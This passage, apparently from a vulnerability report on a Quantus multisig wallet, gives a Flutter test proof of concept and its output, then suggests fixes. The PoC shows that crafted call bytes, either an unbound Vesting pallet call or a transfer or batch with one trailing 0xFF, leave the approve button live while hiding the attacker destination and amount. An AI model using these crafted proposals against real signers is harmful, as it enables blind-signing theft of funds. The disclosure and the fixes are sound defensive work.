final confirm = tester.widgetList<QuantusButton>(find.byType(QuantusButton)).first;
final rendered = renderedText(tester);
print('$label');
print(' text on screen : $rendered');
print(' confirm button : isDisabled=${confirm.isDisabled}, onTap=${confirm.onTap != null ? "wired" : "null"}');
expect(confirm.isDisabled, isFalse, reason: 'the confirm button is live over bytes the sheet could not read');
expect(confirm.onTap, isNotNull, reason: 'the production _confirm callback is wired');
expect(
rendered.any((s) => s.toLowerCase().contains(hex.encode(attackerId).substring(0, 8))),
isFalse,
reason: 'the destination is never shown',
);
expect(
rendered.any((s) => s.contains('1000000') || s.contains('1,000,000') || s.contains('500000') || s.contains('500,000')),
isFalse,
reason: 'the amount is never shown',
);
}
testWidgets('A: a pallet the bindings lack, indexer names it', (tester) async {
final chainBytes = vestingCreateSchedule();
expect(() => CallDecoder.decodeBytes(chainBytes), throwsA(anything));
print('chain bytes : 0x${hex.encode(chainBytes)}');
await pumpApproveSheet(tester, chainBytes, indexedProposal(pallet: 'Vesting', call: 'create_schedule'));
reportSheet(tester, 'A: Vesting.create_schedule -> 0xa7..a7, 1 000 000 QUAN');
});
testWidgets('A2: same call, an indexer that could not read it either', (tester) async {
await pumpApproveSheet(tester, vestingCreateSchedule(), indexedProposal(pallet: '', call: ''));
reportSheet(tester, 'A2: same call, empty indexer row');
expect(renderedText(tester).any((s) => s.toLowerCase().contains('vesting')), isFalse, reason: 'nothing names the call');
});
testWidgets('B: one trailing byte on a call the bindings do carry', (tester) async {
final chainBytes = transferWithTrailingByte();
// The same bytes the runtime test proposes, approves and executes.
expect(hex.encode(chainBytes), '020000${'a7' * 32}130000b2d3595bf006ff');
// Without the trailing byte the sheet would render destination and amount.
final clean = Uint8List.fromList(chainBytes.sublist(0, chainBytes.length - 1));
final cleanDecoded = CallDecoder.decodeBytes(clean);
print('clean call decodes: ${cleanDecoded.pallet}.${cleanDecoded.call}, summary=${cleanDecoded.summary != null}');
expect(() => CallDecoder.decodeBytes(chainBytes), throwsA(isA<FormatException>()));
print('chain bytes : 0x${hex.encode(chainBytes)} (${chainBytes.length} bytes, call is ${clean.length})');
await pumpApproveSheet(tester, chainBytes, indexedProposal(pallet: 'Balances', call: 'transfer_allow_death'));
reportSheet(tester, 'B: Balances.transfer_allow_death -> 0xa7..a7, 500 000 QUAN, plus one 0xFF');
});
testWidgets('B2: trailing byte on a batch, which no indexer summarises as a transfer', (tester) async {
final chainBytes = batchTransferWithTrailingByte();
expect(hex.encode(chainBytes), '090004020000${'a7' * 32}130000d9e9ac2d7803ff');
final clean = Uint8List.fromList(chainBytes.sublist(0, chainBytes.length - 1));
final cleanDecoded = CallDecoder.decodeBytes(clean);
print('clean call decodes: ${cleanDecoded.pallet}.${cleanDecoded.call}, ${cleanDecoded.fields.length} field(s)');
expect(() => CallDecoder.decodeBytes(chainBytes), throwsA(isA<FormatException>()));
await pumpApproveSheet(tester, chainBytes, indexedProposal(pallet: 'Utility', call: 'batch'));
reportSheet(tester, 'B2: Utility.batch([Balances.transfer_allow_death -> 0xa7..a7, 250 000 QUAN]) plus one 0xFF');
expect(
renderedText(tester).any((s) => s.contains('250000') || s.contains('250,000')),
isFalse,
reason: 'the nested amount is never shown',
);
});
}
Run the test
flutter test test/unit/multisig_blind_approval_poc_test.dart
Output:
00:00 +0: A: a pallet the bindings lack, indexer names it
chain bytes : 0x1601a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7e803000000000000d007000000000000b80b000000000000000064a7b3b6e00d0000000000000000
[PoC] could not decode stored proposal call: Exception: RuntimeCall: Invalid variant index: "22"
A: Vesting.create_schedule -> 0xa7..a7, 1 000 000 QUAN
text on screen : [Are you sure?, You are about to approve a transfer of, Create schedule, Vesting, NETWORK FEE, 0.001 QUAN, Yes, Approve, No, Go Back]
confirm button : isDisabled=false, onTap=wired
00:00 +1: A2: same call, an indexer that could not read it either
[PoC] could not decode stored proposal call: Exception: RuntimeCall: Invalid variant index: "22"
A2: same call, empty indexer row
text on screen : [Are you sure?, You are about to approve a transfer of, NETWORK FEE, 0.001 QUAN, Yes, Approve, No, Go Back]
confirm button : isDisabled=false, onTap=wired
00:00 +2: B: one trailing byte on a call the bindings do carry
clean call decodes: Balances.transfer_allow_death, summary=true
chain bytes : 0x020000a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7130000b2d3595bf006ff (45 bytes, call is 44)
[PoC] could not decode stored proposal call: FormatException: 1 trailing bytes after nested call
B: Balances.transfer_allow_death -> 0xa7..a7, 500 000 QUAN, plus one 0xFF
text on screen : [Are you sure?, You are about to approve a transfer of, Transfer allow death, Balances, NETWORK FEE, 0.001 QUAN, Yes, Approve, No, Go Back]
confirm button : isDisabled=false, onTap=wired
00:00 +3: B2: trailing byte on a batch, which no indexer summarises as a transfer
clean call decodes: Utility.batch, 2 field(s)
[PoC] could not decode stored proposal call: FormatException: 1 trailing bytes after nested call
B2: Utility.batch([Balances.transfer_allow_death -> 0xa7..a7, 250 000 QUAN]) plus one 0xFF
text on screen : [Are you sure?, You are about to approve a transfer of, Batch, Utility, NETWORK FEE, 0.001 QUAN, Yes, Approve, No, Go Back]
confirm button : isDisabled=false, onTap=wired
00:00 +4: All tests passed!
[PoC] could not decode stored proposal call is the shipped quantusPrint at multisig_action_confirm_sheet.dart:191. That log line is the whole consequence of the decode failure: the sheet finishes building and the button stays wired to _confirm.
Cases B and B2 are the ones to read first. Each prints what the same bytes decode to with the last byte removed: a Balances.transfer_allow_death carrying a summary, and a two-field Utility.batch. Both are calls the bundled bindings handle correctly. One 0xFF is the difference between a transfer the signer can inspect and two words they cannot.
Suggested fix
Decode during _prepare, where the state can be set safely, and fail closed on a decode failure exactly as the screen already fails closed on a load failure. Setting state from inside a getter that build calls would risk a setState during build.
// in _prepare, after the loader returns
try {
_decodedCall = CallDecoder.decodeBytes(bytes);
} catch (e) {
quantusPrint('${widget.logPrefix} could not decode stored proposal call: $e');
_callBytesFailed = true; // same gate as a load failure
}
Two changes belong with it. Once _callBytes has loaded, drop the indexer fallback, so a description shown next to a signature always derives from the bytes being signed. And refuse to sign when the chain's spec_version is not one the bundled codec was generated against, which closes trigger A for every future runtime upgrade rather than leaving it to reappear with the next new pallet.
Trigger B is worth fixing on the chain as well. Multisig::propose can reject a call with bytes left over, the way the wallet's decoder already does, so a proposal's stored bytes are always exactly the call it dispatches:
let mut input = &call[..];
let decoded_call = <T as Config>::RuntimeCall::decode(&mut input)
.map_err(|_| Self::err_burn_full_raw(Error::<T>::InvalidCall))?;
if !input.is_empty() {
return Self::err_burn_full(Error::<T>::InvalidCall);
}
The behaviour to copy on the app side is already in the SDK. QuantusPayloadParser.parsePayload throws a FormatException when the call does not decode, when bytes trail the payload, when the metadata-hash mode is inconsistent, and when the genesis hash is unknown (quantus_sdk/lib/src/quantus_payload_parser.dart:130, :137, :142, :159).